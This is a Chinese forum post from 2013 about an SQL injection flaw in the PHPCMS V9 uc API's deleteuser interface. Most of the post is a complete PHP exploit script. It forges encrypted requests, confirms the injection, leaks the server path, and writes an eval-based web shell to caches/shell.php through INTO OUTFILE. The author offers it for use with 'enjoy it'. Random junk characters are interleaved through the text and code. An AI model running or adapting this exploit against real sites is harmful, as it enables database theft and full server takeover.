找回密码
 立即注册
查看: 2300|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
6 s& t/ `9 A1 y* m; A1 z, {* U( o% P. G$ M$ b. c
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
( y) m8 l7 G, D
* Q5 c0 T, x8 f/ _# T, D漏洞分析:
( I3 G! ]# _) K/ b; W9 a1.未启用ucenter服务的情况下uc_key为空
' q* k$ @, e9 i$ n, l: E6 [5 ~define('UC_KEY', pc_base::load_config('system', 'uc_key'));
* X! N# f8 O1 }4 T) \! d2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。' I. V8 ^4 n8 v) b2 i$ e9 {
    public function deleteuser($get,$post) {* r: V/ Q2 @4 T; q( L! l+ r1 k: |
        pc_base::load_app_func('global', 'admin');
" j9 Q" S' e1 s: w2 M3 P+ Q$ t( g        pc_base::load_app_class('messagequeue', 'admin' , 0);
6 [' \0 c$ f" L, B# J3 J  l  e# P4 S/ k        $ids = new_stripslashes($get['ids']);
4 \/ G. F5 ~* a  _9 o+ `        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( P' N; Z* s/ G. m# m# R3 ~SQL语句为! \# `3 c8 I& C; F- b! b2 Y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 S' N2 F+ _. X1 N+ W" N0 G+ J- f2 y' Q; p- x
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
3 M/ r" w- L2 F<?php: w& b7 Y9 E5 ]& M4 X( `+ @1 T( w9 c
print_r('( c  E/ w5 S6 a' d  q$ Z+ \
---------------------------------------------------------------------------0 C$ |: v$ o! T
PHPcms (v9 or Old Version) uc api sql injection 0day4 M1 [: x2 X* [/ L
by rayh4c#80sec.com* F# _7 W6 C2 W7 K$ q) u+ }
---------------------------------------------------------------------------4 V/ \) s$ R8 r8 Q' e1 |" P: `
');0 ~6 g, I( `$ p7 Y+ a9 C
) `1 }- g* R) V
if ($argc<3) {1 u& M7 f$ `! ^9 ^, d
    print_r('9 A+ W9 |' v9 o# P2 N1 D$ A
---------------------------------------------------------------------------8 P/ y$ F7 N, ~0 T
Usage: php '.$argv[0].' host path OPTIONS6 h& g# D9 F$ G
host:      target server (ip/hostname)9 g( C; H8 j" ]4 ^
path:      path to phpcms! v4 i! e, J* N
Options:
8 {& Q  S5 D* _ -p[port]:    specify a port other than 80
+ Y' K3 m6 H: o: t4 t1 x2 w -P[ip:port]: specify a proxy
/ G: f% O9 v1 T' ^2 @/ {$ a, M: R7 VExample:
6 [5 E$ }. X  J7 ^% S. T6 dphp '.$argv[0].' localhost /
" Z; ^/ b( N9 _7 q' bphp '.$argv[0].' localhost /phpcms/ -p818 `9 o: V- P8 r$ }( A7 V1 @/ }
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80: x3 ]  t- y, W1 {
---------------------------------------------------------------------------
% e1 `% s, @+ i7 D');
9 W( }: }* a& X4 A+ A" R2 h: X    die;. Q; C  S: I& j) M" S* \/ k
}2 H# B& ~$ a0 Y6 [% {
; W9 Q+ Q, t& o# m8 B- E
error_reporting(7);. H- y' u# y9 y2 ~
ini_set("max_execution_time",0);
' }& d- d8 C- x, zini_set("default_socket_timeout",5);
% M) J2 K8 I: ~) ]
% i* J7 G3 H& g, Gfunction quick_dump($string)
6 b  w% {3 O5 p4 H4 t. c{8 L: O, n& p$ @
  $result='';$exa='';$cont=0;
5 h3 s) A, C8 f  a% i8 J% u$ E  for ($i=0; $i<=strlen($string)-1; $i++)
6 J( V' _' |1 g0 \1 J: x  {$ v! t5 T4 N3 a3 s1 z
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  k" w  x' j$ f$ G5 p, G
   {$result.="  .";}8 d: @9 ~- C2 @; Y
   else
0 j- ^) Q7 q, T3 L+ {1 b  U   {$result.="  ".$string[$i];}' {( z/ y) ^3 H' z
   if (strlen(dechex(ord($string[$i])))==2)
, j) g- A% p" o6 x" k   {$exa.=" ".dechex(ord($string[$i]));}( p" |. C7 V& K" R$ w
   else
, q" x9 r& ~2 I2 D# c0 m% [7 ^- f   {$exa.=" 0".dechex(ord($string[$i]));}
/ _# e9 e/ Z  o0 x- I   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
3 T1 w0 E) t8 N  }
1 A6 l  Z: G% t9 M$ S5 x return $exa."\r\n".$result;2 n1 q( Z6 H6 J5 W3 L& c: Q
}
4 k" T7 G+ T' m- Z0 ~  v) B$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
" b1 P. U# L/ R5 ^6 c* ^( i- u# @+ V
function send($packet)( L( k" c7 u. \% a( c7 X. N; B
{9 A# }: {8 ?' ~, W
  global $proxy, $host, $port, $html, $proxy_regex;
, e! J( o$ @; Q) g0 f3 _  if ($proxy=='') {1 t8 x" Z. ]1 L2 y+ [7 v& x/ Z# G
    $ock=fsockopen(gethostbyname($host),$port);6 |8 }5 e1 I. J2 X) l2 D8 f8 Q0 L
    if (!$ock) {# L) }" E+ g( h! H# U6 E
      echo 'No response from '.$host.':'.$port; die;
1 ?2 T8 C% @' y6 T3 p0 X+ |    }) j% I# |7 U0 F3 i9 Q, w7 j! Y
  }. c4 F7 r: w7 f8 }
  else {2 ~& D2 c" N3 e' e8 [
        $c = preg_match($proxy_regex,$proxy);& L: [1 J  a% p* N! l; V6 V2 U
    if (!$c) {) f- ]6 j2 `5 Q* W
      echo 'Not a valid proxy...';die;, N9 o4 q& ]) _$ ^5 |+ N5 P! t
    }
3 C- U- P& B: D4 b1 R* I6 h! h* r, [    $parts=explode(':',$proxy);+ Y! c% H4 r' c/ X1 Y
    $parts[1]=(int)$parts[1];
) ~% o5 u( `1 V: L! I    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
% a9 B$ h9 B; f5 p& J" g& A4 }9 `    $ock=fsockopen($parts[0],$parts[1]);; P& ~% v8 b. h5 A
    if (!$ock) {
, ?( j* j: [5 g5 `& q# y* c      echo 'No response from proxy...';die;4 \8 D) _, z" ^2 w
        }
; H( M# E5 s0 f8 ?2 N; Z7 n  }
/ z+ o+ h7 D7 c  fputs($ock,$packet);
; ^7 j: c8 O0 e  if ($proxy=='') {* b' J: x% h3 F- o
    $html='';
  p8 W& ~# ], [$ C    while (!feof($ock)) {
4 k3 v+ L' E7 J# `0 ~2 \      $html.=fgets($ock);' w# c/ Z4 }% i, Y+ U' v. u# s
    }: A2 P; d; F% n+ k
  }
# h* {( j& r+ p  else {
$ T6 U/ ?2 \4 g; m9 y6 D, N/ Q8 s& E    $html='';' O1 Z7 [5 J& D  }5 a3 V0 T
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {& W+ s' \! A, ]" s  D0 D" h
      $html.=fread($ock,1);8 Z# b# ~4 F$ K1 V* {$ q& x: e
    }" O! g# L5 Y" {, e9 G* n6 n+ M
  }
% v7 I6 l8 T. z$ D* _- G  fclose($ock);6 t& `: T3 G9 u6 A; x6 k% f; d
}
3 l/ z3 C( f. p) G/ F) y6 s3 Y8 U4 `5 O: X
$host=$argv[1];
0 ]/ [2 E) y8 K3 \& A$path=$argv[2];
, ~- @7 d8 T' x- D9 T6 ]: |$port=80;
4 w' H! b6 w  Y6 @, X0 u! d. e$ I  V$proxy="";
" q! Z3 X; b' Z- M/ d; afor ($i=3; $i<$argc; $i++){
! E4 l0 Q0 T, `# a* U$temp=$argv[$i][0].$argv[$i][1];
  y& v& o1 w, O3 v6 Fif ($temp=="-p")
( w* ~; B9 d1 M! U9 U1 P+ d{1 W  P3 v. V0 u: I5 _/ y
  $port=(int)str_replace("-p","",$argv[$i]);7 ?$ H$ @" V( ?, k5 x. Z* v" h" S: E
}2 m/ p3 Y+ M0 O, N1 S6 f$ U1 ~
if ($temp=="-P")
# m/ ~- W* b6 w' O2 n{
1 i0 i0 k: r& Z, `0 k- l% J" b) _( f# T  $proxy=str_replace("-P","",$argv[$i]);, v  y5 H% A& ]4 ^- ]; e0 N, Z' h
}
: N' ^  o4 z  J" u3 \9 _2 B( ~+ {}
& Z* m+ y! \6 g3 _8 {: i7 f* C6 x9 N3 k2 X: ]- [4 K/ |! O  ]
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& c! }0 f, X, C6 [( w' y; C9 U# T
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}) ?% a7 V* a9 Q  Y

+ }2 N% p: c# Z( E* n# O0 T0 qfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
( x/ S0 t& L; l6 G( G; a/ _0 u$ T4 e
8 `* M0 X! j$ R2 G( n/ t- X! l9 r    $ckey_length = 4;
! |6 U7 i  G$ M* z: j) w
! m  ~4 b0 Q+ L# B* e# z    $key = md5($key ? $key : '');
; D" \. [* T- c5 ^    $keya = md5(substr($key, 0, 16));- e9 ?4 A( w9 p7 k( v4 f, A7 g
    $keyb = md5(substr($key, 16, 16));
7 n. a. D$ ?! k9 v# i2 r    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';2 Y1 ^- ]% K2 Z' J% n5 ?/ J
: R0 d; R$ S- R: z
    $cryptkey = $keya.md5($keya.$keyc);6 p1 Q. h# j2 V) @8 ^- |1 U
    $key_length = strlen($cryptkey);/ C$ t/ o- N5 {. y$ C! m

& Z2 z! `3 K3 r6 Z; W    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;/ Q; b# d: B" N/ N
    $string_length = strlen($string);! F& w; B# V) P" Q
$ W$ E$ P6 L5 d
    $result = '';
3 O; y( P+ _9 W( w    $box = range(0, 255);
- Y; J8 u1 s, m! Y* m' I8 m. T
3 L% F6 H& m$ _# P7 H4 g2 `/ E" {    $rndkey = array();% @- c: Z8 B/ L2 I
    for($i = 0; $i <= 255; $i++) {
8 r) V$ E2 h! q! P$ s        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
: H5 P( J" Q7 K- a' S' X, e# E    }
- @' s) D5 Y) U; J; J) ?* y! `: c- H$ _3 O: ]7 p" L
    for($j = $i = 0; $i < 256; $i++) {
0 @" t0 O. V. ]/ e7 }2 N        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  Y/ @: s4 O4 f# g5 l+ b2 Q        $tmp = $box[$i];  N5 d: v5 U2 }! D; P! `
        $box[$i] = $box[$j];1 @$ h1 P% x- v& X# b  Y
        $box[$j] = $tmp;
" T) D& D+ `/ m- {! a  O    }+ G9 A! [: g4 s9 [$ L

' ]; I4 Z% V; f    for($a = $j = $i = 0; $i < $string_length; $i++) {% r1 E' Q- Q$ e. G2 l" h
        $a = ($a + 1) % 256;
7 E1 T/ `/ v2 @: f8 l        $j = ($j + $box[$a]) % 256;
+ w. g- j. A+ |        $tmp = $box[$a];8 E& I9 w3 J+ B) k' u2 b
        $box[$a] = $box[$j];" s( F8 g( B; j# r* ~' k
        $box[$j] = $tmp;
0 R8 N2 x% q$ l! V        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));3 A- u2 u- \8 a. V. X+ }$ H+ R
    }
+ f& K6 s/ g: A* a1 Y  v; a' [  W. u( P: c4 E5 K* `4 m4 P) N) ?
    if($operation == 'DECODE') {2 f# d. H. D& Q+ e
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% }0 z% n, f2 E- i
            return substr($result, 26);
9 E0 k0 |( k& V) j        } else {, i" d) \. H6 u( O# y, l$ I) W" }
            return '';0 y% s$ F7 Y: t+ z  E' ]  V! `* I. f
        }8 O: {  y4 f0 w4 H
    } else {
* }) F2 x3 u2 X6 j        return $keyc.str_replace('=', '', base64_encode($result));
, d* N: j0 R, [6 e& y    }" E" e. i; |1 K' R3 x' }% f  P
! |- ?8 A/ e  D5 U5 y3 E5 l! Q
}
" h) {# Z! \5 K
5 X: |* D# R' M4 M$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( u# U0 d% y; u  }# a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 [6 f3 t" U& k/ g7 A' O6 s+ p5 S
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 D$ _) m6 H7 k3 a$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";  v) K& y% M" x2 d9 ~+ J, Q
$packet.="User-Agent: Mozilla/5.0\r\n";! _. \  k0 f: w' m
$packet.="Host: ".$host."\r\n";
0 ]  k* }; T7 Z2 s2 S8 V$packet.="Connection: Close\r\n\r\n";( f! |7 T5 b, V! i& ^2 L. }: S
send($packet);. M9 @3 L- p% ~9 Z6 t
if(strpos($html,"MySQL Errno") > 0){0 O  \- m, \& f
echo "[2] 发现存在SQL注入漏洞"."\n";0 X' S0 e: r) _7 T6 ]
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. R8 Z8 l) I1 S+ K, j$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 H2 n- j# d0 n! x; W$packet.="User-Agent: Mozilla/5.0\r\n";" u; K5 }3 S% o5 D5 w  K1 H$ e
$packet.="Host: ".$host."\r\n";
+ d" r( U* w7 g4 R$packet.="Connection: Close\r\n\r\n";9 _- k* c9 {/ K* Y- e
send($packet);/ W2 M# N3 G0 Z; c  I
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);+ U$ N; i% i( U1 d
//print_r($matches);% a+ t6 X/ d3 A4 n0 ~
if(!empty($matches)){+ p+ D( A) P" o
echo "[4] 得到web路径 " . $matches[0]."\n";
, E; I/ p( H% ^( G2 j) Z+ X" Aecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: z" k6 g) h0 K3 K. Y
$SQL = "time=999999999999999999999999&ids=1)";
5 s  P1 [4 F2 F% E0 \$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";: G: ]% e) Z+ m
$SQL.="&action=deleteuser";
8 h1 S% O. R* W8 X$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 @. K- m( f% y1 m& r% i9 n8 O
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ L# H; X# `3 H
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) b" Z7 ?! ?# J4 y: Q. G
$packet.="User-Agent: Mozilla/5.0\r\n";& R, v& h4 E# f; C
$packet.="Host: ".$host."\r\n";
4 x, S2 s  ^* \1 a$packet.="Connection: Close\r\n\r\n";
8 j5 e6 S4 Q& lsend($packet);
  y9 X) v/ w7 kif(strpos($html,"Access denied") > 0){
6 v( Y' O9 ?2 H* l! F2 aecho "[-] MYSQL权限过低 禁止写入文件 ";
" @( i% t/ ~; M2 Ddie;
9 D+ X( G, c  V& H}1 z  s9 t% x: o3 u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 \& }, n# |. L2 N
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
7 A( s2 ?, Z0 ~$ k8 d% g$packet.="User-Agent: Mozilla/5.0\r\n";
2 D; x' ^8 m4 q- @# b& p: Y$packet.="Host: ".$host."\r\n";
% {0 F& j3 L8 B9 z: L$packet.="Connection: Close\r\n\r\n";$ z7 u! b, F5 b) x7 c" q1 g( ~  v
send($packet);" O6 g& x* u7 P' i$ B' P
if(strpos($html,"<title>phpinfo()</title>") > 0){
& ^2 ?2 X/ E% j" P+ J9 a9 M( a( q1 }2 Lecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
3 w, m) |; k. ~9 X}
1 M3 e) ?- ]0 @$ S0 L6 z}else{
% `: v% R5 l7 Z4 Z! _echo "[-]未取到web路径 ";% ^* s# o- G7 m& r. m
}
" ?( m' o6 Z* }5 B6 j& a2 {}else{. f. U$ O+ l2 q
echo "[*]不存在SQL注入漏洞"."\n";
" v$ J0 k, d% N% S& P4 p5 h# J}
5 z6 A: S% Q6 `7 \7 J8 p. O+ S) C: v* C8 B3 g+ d& g
?>
& t% {! p( d% {; s4 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表